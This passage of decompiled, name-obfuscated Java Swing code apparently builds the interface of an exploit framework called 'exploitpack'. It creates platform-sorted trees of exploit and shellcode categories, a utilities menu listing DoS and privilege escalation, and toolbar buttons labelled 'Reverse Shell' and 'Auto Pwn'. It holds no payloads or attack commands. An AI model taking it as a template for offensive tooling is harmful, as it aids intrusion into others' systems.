    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("nodejs");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("novell");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("openbsd");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("osx");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("osx_ppc");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("palm_os");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("perl");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("php");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("plan9");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("python");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("qnx");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("ruby");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("sco");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("solaris");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("solaris_sparc");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("solaris_x86");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("tru64");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("ultrix");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("unix");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("unixware");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("vxworks");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("watchos");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("webapps");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("windows");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("windows_x86");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("windows_x86-64");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("xml");
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("dos");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("local");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("remote");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode6 = new DefaultMutableTreeNode("web");
    defaultMutableTreeNode5.add(defaultMutableTreeNode6);
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    this.a.setModel(new DefaultTreeModel(defaultMutableTreeNode3));
    this.a.setRootVisible(false);
    this.a.addMouseListener((MouseListener)new bw(this));
    this.a.addTreeSelectionListener((TreeSelectionListener)new bH(this));
    this.a.setViewportView(this.a);
    this.c.addTab("Exploits", this.a);
    defaultMutableTreeNode3 = new DefaultMutableTreeNode("JTree");
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("arm");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("aix");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("bsd");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("bsd_ppc");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("bsd_x86");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("bsdi_x86");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("freebsd");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("freebsd_x86");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("freebsd_x86-64");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("generator");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("ios");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("hardware");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("hp-ux");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("linux_x86-64");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("linux_mips");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("linux_ppc");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("linux_sparc");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("linux_x86");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("openbsd_x86");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("multiple");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("netbsd_x86");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("osx_ppc");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("sco_x86");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("solaris_mips");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("solaris_sparc");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("solaris_x86");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("unixware");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("windows_x86");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("windows_x86-64");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("windows");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("solaris");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("linux");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("osx");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("superh_sh4");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("system_z");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("android");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("linux_crisv32");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("alpha");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("irix");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("macos");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    this.f.setModel(new DefaultTreeModel(defaultMutableTreeNode3));
    this.f.setRootVisible(false);
    this.f.addMouseListener((MouseListener)new bS(this));
    this.f.addTreeSelectionListener((TreeSelectionListener)new cd(this));
    this.g.setViewportView(this.f);
    this.c.addTab("Shellcodes", this.g);
    defaultMutableTreeNode3 = new DefaultMutableTreeNode("JTree");
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("Scanner");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("DoS");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("Remote Control");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("Exercises");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("PrivilegeEsc");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    this.h.setModel(new DefaultTreeModel(defaultMutableTreeNode3));
    this.h.setRootVisible(false);
    this.h.addMouseListener((MouseListener)new cf(this));
    this.h.addTreeSelectionListener((TreeSelectionListener)new cg(this));
    this.r.setViewportView(this.h);
    this.c.addTab("Utilities", this.r);
    defaultMutableTreeNode3 = new DefaultMutableTreeNode("Root");
    defaultMutableTreeNode5 = new DefaultMutableTreeNode("Machines");
    defaultMutableTreeNode3.add(defaultMutableTreeNode5);
    this.g.setModel(new DefaultTreeModel(defaultMutableTreeNode3));
    this.g.setRootVisible(false);
    this.g.addTreeSelectionListener((TreeSelectionListener)new ch(this));
    this.j.setViewportView(this.g);
    this.c.addTab("Targets", this.j);
    GroupLayout groupLayout3 = new GroupLayout(this.i);
    this.i.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(GroupLayout.Alignment.TRAILING, groupLayout3.createSequentialGroup().addContainerGap(-1, 32767).addComponent(this.c, -2, 319, -2).addContainerGap()));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.c, -1, -1, 32767));
    groupLayout3 = new GroupLayout(this.a);
    this.a.setLayout(groupLayout3);
    groupLayout3.setHorizontalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.i, -1, -1, 32767).addGroup(groupLayout3.createSequentialGroup().addContainerGap().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addComponent(this.j).addGap(0, 0, 32767)).addGroup(groupLayout3.createSequentialGroup().addGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addComponent(this.s).addComponent(this.b, GroupLayout.Alignment.TRAILING, -1, -1, 32767)).addContainerGap()))));
    groupLayout3.setVerticalGroup(groupLayout3.createParallelGroup(GroupLayout.Alignment.LEADING).addGroup(groupLayout3.createSequentialGroup().addComponent(this.i, -1, -1, 32767).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.b, -2, -1, -2).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.j).addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).addComponent(this.s, -2, 112, -2).addGap(0, 0, 0)));
    this.a.setFloatable(false);
    this.a.setRollover(true);
    this.a.add(this.w);
    this.e.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/new.png")));
    this.e.setText("New");
    this.e.setFocusable(false);
    this.e.setVerticalTextPosition(3);
    this.e.addActionListener((ActionListener)new ck(this));
    this.a.add(this.e);
    this.a.add(this.a);
    this.c.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/open.png")));
    this.c.setText("Open");
    this.c.setFocusable(false);
    this.c.setVerticalTextPosition(3);
    this.c.addActionListener((ActionListener)new cl(this));
    this.a.add(this.c);
    this.a.add(this.j);
    this.g.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1316134425_cut_red.png")));
    this.g.setText("Cut");
    this.g.setToolTipText("Cut");
    this.g.setFocusable(false);
    this.g.setVerticalTextPosition(3);
    this.a.add(this.g);
    this.a.add(this.x);
    this.J.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1316134439_page_copy.png")));
    this.J.setText("Copy");
    this.J.setToolTipText("Copy");
    this.J.setFocusable(false);
    this.J.setVerticalTextPosition(3);
    this.a.add(this.J);
    this.a.add(this.B);
    this.K.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1316134460_page_white_paste.png")));
    this.K.setText("Paste");
    this.K.setToolTipText("Paste");
    this.K.setFocusable(false);
    this.K.setVerticalTextPosition(3);
    this.a.add(this.K);
    this.a.add(this.D);
    this.L.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/interface.png")));
    this.L.setText("Current IP:");
    this.L.setFocusable(false);
    this.L.setVerticalTextPosition(3);
    this.a.add(this.L);
    this.N.setText("Interface");
    this.a.add(this.N);
    this.a.add(this.E);
    this.h.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1316134599_chart_bar.png")));
    this.h.setText("Log");
    this.h.setFocusable(false);
    this.h.setVerticalTextPosition(3);
    this.h.addActionListener((ActionListener)new cm(this));
    this.a.add(this.h);
    this.a.add(this.o);
    this.j.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/checkupdate.png")));
    this.j.setText("Update");
    this.j.setFocusable(false);
    this.j.setVerticalTextPosition(3);
    this.j.addActionListener((ActionListener)new cn(this));
    this.a.add(this.j);
    this.a.add(this.e);
    this.s.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/1418844177_notepad_(edit)_16x16.gif")));
    this.s.setText("Notepad");
    this.s.setToolTipText("");
    this.s.setFocusable(false);
    this.s.setVerticalTextPosition(3);
    this.s.addActionListener((ActionListener)new co(this));
    this.a.add(this.s);
    this.a.add(this.d);
    this.k.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/bugbug.png")));
    this.k.setText("Reverse Shell");
    this.k.setFocusable(false);
    this.k.setVerticalTextPosition(3);
    this.k.addActionListener((ActionListener)new cp(this));
    this.a.add(this.k);
    this.a.add(this.b);
    this.l.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/robotauto.png")));
    this.l.setText("Auto Pwn");
    this.l.setEnabled(false);
    this.l.setFocusable(false);
    this.l.setVerticalTextPosition(3);
    this.l.addActionListener((ActionListener)new cq(this));
    this.a.add(this.l);
    this.a.add(this.k);
    this.w.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/computer-network.png")));
    this.w.setText("Browser");
    this.w.setFocusable(false);
    this.w.setHorizontalAlignment(11);
    this.w.setHorizontalTextPosition(4);
    this.w.setVerticalTextPosition(3);
    this.w.addActionListener((ActionListener)new cr(this));
    this.a.add(this.w);
    this.a.add(this.r);
    this.x.setIcon(new ImageIcon(getClass().getResource("/exploitpack/resources/agent.png")));
    this.x.setText("Wizard");
